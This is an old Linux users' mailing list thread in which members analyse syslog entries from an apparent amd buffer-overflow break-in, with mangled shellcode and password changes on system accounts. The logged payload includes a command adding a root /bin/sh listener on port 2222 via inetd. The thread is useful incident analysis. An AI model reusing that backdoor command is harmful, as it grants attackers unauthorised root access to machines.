[ILUG] Hack attempt??

[Smelly Pooh]

In reply to Fowler's flatulent wordings, 
> Damian O'Sullivan wrote:
> > 
> > Anyone know if this looks like a hack attempt??
> 
> > Mar  5 09:41:35 connemara
> > Mar  5 09:41:35 connemara syslogd: Cannot glue message parts together
> > Mar  5 09:41:35 connemara 27>Mar  5 09:41:35 amd[473]: amq requested mount
> > of
> ~P~P~P~P~P~P~P~P~P~P~P~P(^~M^^P~I^^~C^H
> > ~I^^D~C^C~I^^H~C^K~M^N~I3~IF^L~HF^W~HF^Z^K~@18
> > Jan 1998--str/bin/sh(-c)/bin/echo '2222        stream  tcp     nowait
> > root    /bin/sh s
> > Mar  5 09:41:35 connemara p/h;/usr/sbin/inetd /tmp/h &#~P, but code is
> > disabled
> > Mar  5 09:42:04 connemara PAM_pwdb[14769]: password for
> > (postgres/103) changed by ((null)/0)
> > Mar  5 09:42:24 connemara PAM_pwdb[14776]: password for (xfs/100) changed
> > by ((null)/0)
> > Mar  5 09:42:32 connemara PAM_pwdb[14777]: password for (ftp/14) changed
> > by ((null)/0)
> > 
> > This was followed by a telnet attempt from an unfamiliar IP 4 mins
> > later...
> 
> Yup definitely!! The ^p crap is padding into the buffer they are attemping 
> to overflow - then begind the actual "Egg" or explot code with some asm 
> and the addition to your inetd.conf of the root shell on port 2222

To add to that, there was indeed an AMD buffer overflow exploit out for Linux
around July last year, should have been long patched by now